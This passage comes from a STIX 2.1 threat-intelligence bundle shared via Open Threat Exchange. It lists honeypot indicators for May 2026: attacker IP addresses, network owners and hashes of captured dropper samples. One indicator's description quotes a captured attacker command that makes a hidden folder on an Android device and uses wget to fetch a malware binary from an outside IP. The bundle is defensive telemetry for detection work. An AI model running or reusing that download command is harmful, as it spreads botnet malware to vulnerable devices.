        "indicator--0667b55a-d49f-4ce6-882f-6e97865df3a5",
        "indicator--c323be35-08ce-45a9-8966-981d9d2307e1",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
        "indicator--e4471aa1-344c-47c6-bd61-cb0e64c0a28c",
        "indicator--38f67d93-f4c0-48e1-9ca5-85621cc73b85",
        "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
        "indicator--5707f942-ac88-4d90-998b-74c7af0906d5",
        "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
        "indicator--f35b076f-2c71-44dc-8c5e-632c3902be1b",
        "indicator--8b844399-f00c-4ebe-9907-be39a9303ba7",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--1323abcc-0536-48c9-8f68-64ac373365f9",
        "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
        "indicator--32c563d4-c064-4610-8707-6cc1fd0420bf",
        "indicator--582a98d4-7037-4163-8338-17e28f4fa420",
        "indicator--3891d9a3-0514-40f9-a1bd-3d192f9fc82c",
        "indicator--fb036cc7-e70b-47fd-8e47-a0ee9970b1a5",
        "indicator--6bed9f28-6906-4a0b-b5c1-b2bbb7be462e",
        "indicator--ea0b2cb0-f7ea-416c-9d65-3998043180ac",
        "indicator--e976aac5-b4a6-4376-89b1-c57285bd544e",
        "indicator--1b373766-40d7-4fe1-b1f1-3933abf9b2bb",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--8e3eada1-f858-424d-b77b-aa7961e591d0",
        "indicator--aec4703c-a2fe-4bcc-a392-037e160523a1",
        "indicator--357e698b-d810-4701-8691-f31863b1384a",
        "indicator--3031174d-685c-47cd-8a0f-10fb80c13297",
        "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--941abb59-c8ce-4fa6-a815-ca964be9c359",
        "indicator--d1f47792-a5cf-4839-95fd-8dc8af67193a",
        "indicator--6c8b1bdc-96b3-433d-ae6c-f49dae7a1a47",
        "indicator--6662abd6-863c-4856-b489-f90d0c9ccef9",
        "indicator--6a070554-4737-4213-ad41-b930bb992d6d",
        "indicator--78acdb4f-723c-4a6c-aa48-3a378ae96218",
        "indicator--fb45181c-eaf0-413f-9eec-3a92d5e2df81",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--e646e609-98a9-4866-99a6-fc3ee5d836af",
        "indicator--ee73ace2-1914-464c-90c4-1873c8e25ce6",
        "indicator--a0b2ed5f-6671-4a6d-a872-5bf9d3157b41",
        "indicator--dd6297d0-47c7-416a-a75d-4bae4fb30a5d",
        "indicator--45cd3f1a-5004-4f5f-8cfa-64eb2a5526c4",
        "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--b967c67d-6b98-4bb5-8861-56bca92dea71",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--a84f160d-4bd0-42bd-b6aa-6d9582ca9583",
        "indicator--45026b27-e49c-46e5-8459-403e0b4ded73",
        "indicator--d5709c13-87ae-49a9-bd62-5561784b027e",
        "indicator--3d076547-54c1-42e9-adf1-12f31156c3ed",
        "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
        "indicator--a55f8348-552d-479c-9577-dba47b6b07e7",
        "indicator--c654fc74-7160-489f-b54c-05cae9b5648f",
        "indicator--bc20d73f-0460-47c5-9275-594828903b15",
        "indicator--accc8db6-3e8f-4723-9ad4-424c519cd178",
        "indicator--de271026-418d-41be-a159-4964ca5f209d",
        "indicator--d94dd246-d6f8-486a-b6b7-7f0131dd6977",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--8607e060-d1ce-4fd8-a0f6-6c08b6e7acad",
        "indicator--041fac47-94d3-452f-8b19-0f20c4e58dac",
        "indicator--70dd392f-831b-4460-be07-4f4baf927266",
        "indicator--8a3cde2c-6aa6-46db-93a9-9b9657d93444",
        "indicator--71d370de-6945-4d07-bdbd-1a4762aedb27",
        "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
        "indicator--0f672150-87bd-4846-9035-ab33d62a9ed5",
        "indicator--71937f14-035c-4b9d-88c5-27d1a210153b",
        "indicator--3431e437-b03d-4b0f-b8ef-3e1381c03a00",
        "indicator--f492fed1-5f1d-4938-8a6d-737b7c9d2c4f",
        "indicator--56a6b178-8869-4298-aed9-95b39a927f6e",
        "indicator--f8d5a2f1-637c-4278-9039-a9d6df62207f",
        "indicator--27253096-f81e-420d-9eb5-4dac96455998",
        "indicator--5cf0c872-8ee1-495d-850e-f4c732edd11d",
        "indicator--754010dd-4b50-42f9-80ba-13b56316144e",
        "indicator--07e80815-5753-4481-acc7-c81aedb1a910",
        "indicator--5b327450-517d-443d-8d63-99da626e61dd",
        "indicator--4fc32141-e73f-4da9-b45b-ce933709b736",
        "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
        "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
        "indicator--e7e26056-6230-4807-8535-a6b17f64c441",
        "indicator--66751c46-6eec-4256-bd33-508e962890c5",
        "indicator--5d6f2691-fbc4-48af-8e5c-9fb8b926fc3d",
        "indicator--2c677e76-18f1-4cc2-ba23-93d5d816d312",
        "indicator--66704f55-6eee-494b-91e4-8b2991abcb91",
        "indicator--5e115a3f-08ff-4904-87a1-9a3be0e9ca1b",
        "indicator--d1c1b5e9-f1d1-4dbd-a467-d33d4c52963b",
        "indicator--d1a2b8f0-55a3-4f22-b2b8-4ff30c3ef83d",
        "indicator--744d83a4-b574-4b8c-ba43-40943ccc233c",
        "indicator--3a827718-21e3-41e6-9c60-ef48af8bc7cd",
        "indicator--0fa778ff-e856-4112-a989-33059da1178e",
        "indicator--6fa38376-b302-44a1-9c82-ead1f9df2947",
        "indicator--3cc7ea66-e156-494a-bd1c-17691371e217",
        "indicator--6bc12b6e-452d-44e5-a698-a3b3a289f3ed",
        "indicator--d015ab5e-d767-4228-bd7d-5e53b92db6c6",
        "indicator--bb9ac43e-953a-4693-89a1-8e58cd709549",
        "indicator--1b87f097-e73d-45bc-aadc-7fbf42519d95",
        "indicator--a8bf6adf-0e28-4556-b4d2-c266d7a4c936",
        "indicator--695dc3df-94db-4a5a-949b-7c10740d5684",
        "indicator--a5c4c682-2c55-4f1d-8001-b900b74c61ed",
        "indicator--1da32744-6fc8-43be-a063-827c7fbc7907",
        "indicator--20a00463-d779-4010-82fd-a3d8819a2942",
        "indicator--056fa306-96f9-492a-bb0b-6f052d5e205b",
        "indicator--aa4acd3a-e6c8-432f-9cb8-fec0f1cca9a3",
        "indicator--2da19d92-eafd-4499-adc5-8d9d5658271b",
        "indicator--b917233e-88a1-4276-8bbe-50ce69d2326e",
        "indicator--56530465-382e-45c1-9660-ad7a92cc742d",
        "indicator--3a1b251a-7b36-4401-b7af-a4836d8afc39",
        "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--ae957d27-dfa5-4399-8574-a3185cae74b6",
        "indicator--5ba6bba4-0aae-4e88-922e-a07fd8644e98",
        "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
        "indicator--076dd469-1a83-47c5-a099-e56c3a4f5f75",
        "indicator--2ec209d3-125a-4cd1-ade4-04bfc8527304",
        "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
        "indicator--817c2692-ce18-4286-b527-c8be0c066d7f",
        "indicator--be055f06-fd74-4ab7-a7e4-b96493bb05a8",
        "indicator--24eaeb88-6001-41a3-adc8-07ea6147dce9",
        "indicator--dcff3a4f-9619-432c-a130-067a93555fca",
        "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
        "indicator--4c4cc434-9199-44b5-9e9d-c90cca899de3",
        "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
        "indicator--a5a69c27-e1ff-4610-8738-5fd179d3f285",
        "indicator--64590010-a3cd-4e6d-8d1c-2a9a5c67b1e5",
        "indicator--eaf580dc-57cc-404b-b454-e70da311912b",
        "indicator--4d37820e-9dbf-4604-b11e-1ef4ade10ffb",
        "indicator--40d7713c-d341-427d-8ae0-ab6b971f2f6d",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--46c251fb-2f4c-44d7-96c4-5266f23bd3fb",
        "indicator--980e6f4e-1d0f-4979-a603-bcc10d6e34cc",
        "indicator--dc71981c-5f9a-4b48-affb-ec3a11f448d2",
        "indicator--3fe76ee0-25fb-4ae1-8683-a3b2754dcafe",
        "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
        "indicator--21ea352a-8d2a-46a8-9e47-c965befafb15",
        "indicator--ab8eb317-13f7-481a-8e8e-6e8cb98811ea",
        "indicator--6556d5e4-f730-490d-b7c3-ac3f743ad296",
        "indicator--76b68233-3252-4e21-baa0-775518911242",
        "indicator--f76aa438-3b06-47dd-a082-d2675d7e4577",
        "indicator--30975d7c-e9cd-41a5-8366-1728c1b602ae",
        "indicator--1ca63473-bdb6-459b-9cb8-440f8600bfd8",
        "indicator--09d50a17-60cc-4319-a800-3e2657bb4394",
        "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
        "indicator--3b6bf814-3104-498b-95f8-311a3b126e1a",
        "indicator--85d9fff4-e836-4ce8-9bc5-4b159b6f7d77",
        "indicator--54b5358f-cffa-45d8-97ad-c3aa442d48cd",
        "indicator--197c9c5b-d930-4da0-988a-15227a6d883e",
        "indicator--fc2f2fac-8702-4474-a6ba-c5d76b71a7ff",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--a328e2e7-20f2-461b-8206-fb32c59742a7",
        "indicator--8465210f-5f2b-4bbf-ab5e-3096b0807417",
        "indicator--78b88020-a5ce-4119-903d-5b71e2cc04e5",
        "indicator--5198e179-ddaf-493a-948d-efd7fa3c347f",
        "indicator--0db33d08-8a58-43ca-a2b0-03ca9b274344",
        "indicator--02b7aca1-2788-43f1-9043-8892a65909fd",
        "indicator--4d970726-3783-442b-b42d-11e147d80c68",
        "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
        "indicator--dcb6508e-6da9-49be-b325-8dfefb6ec3eb",
        "indicator--49696639-276e-44dd-ba45-b24616a9d591",
        "indicator--20fdcd5b-8c3b-4895-8230-00e06d6ba4bb",
        "indicator--a0606779-27ca-4db8-a0fd-a7266bff304a",
        "indicator--1a3faf36-dc73-4826-99e5-8cfd09ba182a",
        "indicator--8329957d-a2d9-4487-9b48-4b1c64d18478",
        "indicator--968397d6-4f31-4c44-8235-505dd7b4d16b",
        "indicator--248913b1-756c-42ae-96f2-41d94e6b2059",
        "indicator--8f83b9fa-aa43-4ea6-8a3f-dd201401ef26",
        "indicator--7143af23-78f1-43cc-ab5c-68b455e5c80f",
        "indicator--206d25aa-b3a0-46aa-8cd9-8cb6d85cb876",
        "indicator--4eb411dc-e8a0-46e3-9208-27abdc9244ef",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--4a5d70f4-373e-4ab6-979e-c1acf6e4143c",
        "indicator--1b5cf1f3-1e43-40fb-93b0-8497f54424dc",
        "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
        "indicator--2b11effe-e251-4f68-a594-220f653d4961",
        "indicator--1a5080c2-8a2e-4e19-b4bb-742703d8b9c4",
        "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
        "indicator--8c2692c2-5750-4bd9-a304-297abae7ff26",
        "indicator--2b935355-a88b-40b4-9a9c-3a41d2eb4ca2",
        "indicator--52c9f4d4-2758-4943-a93b-0a730f276469",
        "indicator--8080f351-eea6-4df4-96d4-b40638c67845",
        "indicator--3935275e-f3cf-4945-8ae9-6b3b06e48848",
        "indicator--fba07775-58a2-40ad-8822-19b46013b3c2",
        "indicator--7c05a5ee-c6de-4834-8ad4-5a8311f0a34c",
        "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
        "indicator--67cc7a19-69f9-42df-8ba7-75e2efc11256",
        "indicator--d7044d51-fefd-4dce-98ca-b302ff37ec1a",
        "indicator--42f70860-768c-4e19-8633-693fdb37950f",
        "indicator--d5622184-0961-4336-b615-e93be6684d80",
        "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
        "indicator--a6a170ee-9931-46f2-95a4-40c0382b36e3",
        "indicator--f4736418-cd24-4f1f-b646-6a159a670551",
        "indicator--6c05e3e8-0c3a-4705-9e6a-72f03e85fc79",
        "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
        "indicator--36f0ca6f-3def-42ba-b553-e2b9d520d182",
        "indicator--347f7b08-e064-472a-98a3-3e9d8f52184b",
        "indicator--54977b74-c8dd-42c9-a4a7-99200e40c324",
        "indicator--1f029460-371d-41e2-92ba-c9dcbc719f49",
        "indicator--7d9dba6b-cbcf-48a2-a454-785277d3d108",
        "indicator--b0aab3b3-fd82-4ff1-9484-106b6dbe5935",
        "indicator--ed6c7b28-7f1c-4297-9138-942295611ee2",
        "indicator--3f1ecadf-aad7-484a-8715-508af24191da",
        "indicator--79a33ebc-a2d5-43af-ab67-bab600541942",
        "indicator--24c47ce6-5f3a-47e6-bc99-c67a9dacafa2",
        "indicator--4e906077-cb0f-4d2b-87c7-c158b71f2048",
        "indicator--1666b1d7-c794-4977-b2c7-1600a8136d18",
        "indicator--cd213a9b-825e-4912-a26e-4bbbf80195d3",
        "indicator--4392d848-b1bc-430a-84bd-7affb3321215",
        "indicator--1f1abb6a-241a-40c6-9dd3-832d0c4789b4",
        "indicator--727bb21e-cd35-4ac2-a565-736cdcf8c495",
        "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
        "indicator--f925b074-e641-4290-afad-05f8789771c9",
        "indicator--e88772dd-e59b-4293-8946-b0674d27dff1",
        "indicator--d52f0262-f166-4536-9a45-fe5981be7edb",
        "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
        "indicator--3a19dbb0-45d7-4e7e-b427-e1ee9d402962",
        "indicator--feb3cc2f-8577-4039-a22f-24ba51c8bcf1",
        "indicator--917355fe-5f38-4b46-8f63-ddc8e417f93d",
        "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
        "indicator--1de528c5-89f3-45c0-a1f3-fd75ce65fcf0",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--2e958531-9605-4990-8a0a-30f0b4306f70",
        "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
        "indicator--881aace8-2c43-4812-b44e-6fe1747d6215",
        "indicator--aa7a4fc5-cc6e-47dd-ba54-ee874fbf9558",
        "indicator--6b9c5618-78bc-42ae-b2c5-b256ebf788bb",
        "indicator--8ae63b8c-4e29-4e34-a7ad-227cb5c4195f",
        "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
        "indicator--1425d6d8-fd61-4b5d-8ea7-69eb03df349c",
        "indicator--8c2fa4b6-480a-4d3b-8c3a-1f0b6f8bc541",
        "indicator--488fd3b2-174c-49f7-a8af-cf5d938432d4",
        "indicator--db505149-d32c-4b46-b61e-d8df239c7b6d",
        "indicator--14003785-b7a8-4c8a-9070-37982284a188",
        "indicator--f329ad28-4ac6-4e42-8b63-22e493ec8f67",
        "indicator--63972fa7-16a3-4445-b256-23e4d709d766",
        "indicator--8b397e9f-aba2-4724-b04c-53e4806012ca",
        "indicator--a2bc7ae8-724b-468b-9002-cc556caba0b6",
        "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
        "indicator--b4a05d0b-813b-4960-8e75-b41687de2405",
        "indicator--689cab0c-1d2a-4411-81d3-b8c46b91eac4",
        "indicator--e22f2d19-00de-487c-bd03-46ccd7834ada",
        "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
        "indicator--da546be2-aecc-4616-97d7-ee96ff2cf14d",
        "indicator--0ab77049-f57e-4c9c-9397-b22163d9e0d3",
        "indicator--7b8de1bb-b42a-4e94-9f10-9c2b0088c215",
        "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
        "indicator--cbb0b81e-0416-4a30-a7fa-f71803ed61a9",
        "indicator--c95a1b2b-e47e-477c-889e-c84538f08039",
        "indicator--26e2ae55-c26c-41f1-8583-ecfd8d1af2ba",
        "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
        "indicator--417b4bd7-3b29-44bc-9fd7-f695592756b3",
        "indicator--cf6fd41b-c159-4fd5-a96f-7a2bce49b3e0",
        "indicator--3c6efa04-1892-4ef1-8415-8bb8b6b26ad9",
        "indicator--2548f52c-acff-44b3-baa0-d0daf2575758",
        "indicator--afb794c2-e83c-4b3d-b90a-97b19a7b797d",
        "indicator--25ece546-07fc-4d21-8fe3-503861ac2957",
        "indicator--a2b94e5e-ee55-400e-9f2a-1987120df655",
        "indicator--ffd3765a-2bc8-4d1a-a303-15dfcb04ab4a",
        "indicator--f3494072-9c5d-4b0b-a64c-666b9d1a2b5b",
        "indicator--2e87bfe1-b5a0-43e9-9460-42cd7456a2eb",
        "indicator--6fe71f13-3646-4bfb-9e4d-23e0adcc255b",
        "indicator--9cf74dc2-98df-4ac7-965b-2681002e11f9",
        "indicator--3ea50876-98e3-46e1-b967-398d5299b906",
        "indicator--787f18a0-6860-4bc1-af1a-12cdd210f36b",
        "indicator--14ca4a48-be88-4b5f-bdcb-8dbaaf791b4b",
        "indicator--fe695f2d-a143-4d53-9ff5-cda847ef5901",
        "indicator--517c1d7c-5212-42df-947d-c0c6e715f852",
        "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
        "indicator--be55f09a-205f-497f-9b65-1a9cddd8bfa3",
        "indicator--f872dad0-1e4b-4a69-abaa-5ecfc2e66cf9",
        "indicator--9ebb2105-2ce0-40e6-8934-4b01d8b2759a",
        "indicator--3cc516e0-4155-4360-8b71-d0adb254a6b5",
        "indicator--4d63f00c-41a0-4f60-8211-e0c9b1630c67",
        "indicator--95fb9ee1-b497-4f25-9783-02699e98cc1b",
        "indicator--ab70e93a-4e2f-4010-887a-7d3f43a4d7cf"
      ],
      "published": "2026-05-01T00:00:05.280Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-05-01T00:00:05.280Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-05-01T00:00:05.280Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-05-01T00:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--dbce38f0-6cb0-4311-8e7e-7f55b524e8fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:00:06.000Z",
      "valid_until": "2026-06-02T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T01:00:22.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=1888 | first_seen=2026-05-02T09:10:48.000Z | last_seen=2026-05-31T21:27:27.269Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:00:22.000Z",
      "valid_until": "2026-06-02T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1888,
          "first_seen": "2026-05-02T09:10:48.000Z",
          "last_seen": "2026-05-31T21:27:27.269Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T01:00:22.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=1; cmd=\"cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -qO b http://196.251.107.133/bins/parm7 2>\"\n\nObserved in ADBHoney telemetry for 2026-05. events=1198 | first_seen=2026-05-02T01:15:39.000Z | last_seen=2026-05-12T08:37:28.983Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:00:22.000Z",
      "valid_until": "2026-06-02T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1198,
          "first_seen": "2026-05-02T01:15:39.000Z",
          "last_seen": "2026-05-12T08:37:28.983Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T01:00:22.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/16aca11323d8bb11a76352e9385a808925492c0e06d4fa9b240f4a130e1e85c3.raw; last_seen=2026-05-01T00:17:04.912Z",
      "id": "indicator--a2c25ed9-e9a7-4809-a5ea-3e6a66f140b2",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '16aca11323d8bb11a76352e9385a808925492c0e06d4fa9b240f4a130e1e85c3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:00:22.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T01:00:22.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/8ce0d00d3e6f03a3d44a605a331ada378787c2518e41945695494d0c84aa19ec.raw; last_seen=2026-05-01T00:17:03.559Z",
      "id": "indicator--bbfe1f7e-cd81-474c-93cb-3fa65a7bebb6",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '8ce0d00d3e6f03a3d44a605a331ada378787c2518e41945695494d0c84aa19ec']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:00:22.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T01:00:22.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/064fc04504e868ec0f453d426b77a25fdeaeda9abb9dc72ec5dcede19bdf157f.raw; last_seen=2026-05-01T00:17:05.930Z",
      "id": "indicator--0c0a0934-74be-4928-a002-a96ef794af68",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '064fc04504e868ec0f453d426b77a25fdeaeda9abb9dc72ec5dcede19bdf157f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:00:22.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T03:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:00:10.000Z",
      "valid_until": "2026-06-02T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T04:00:15.000Z",
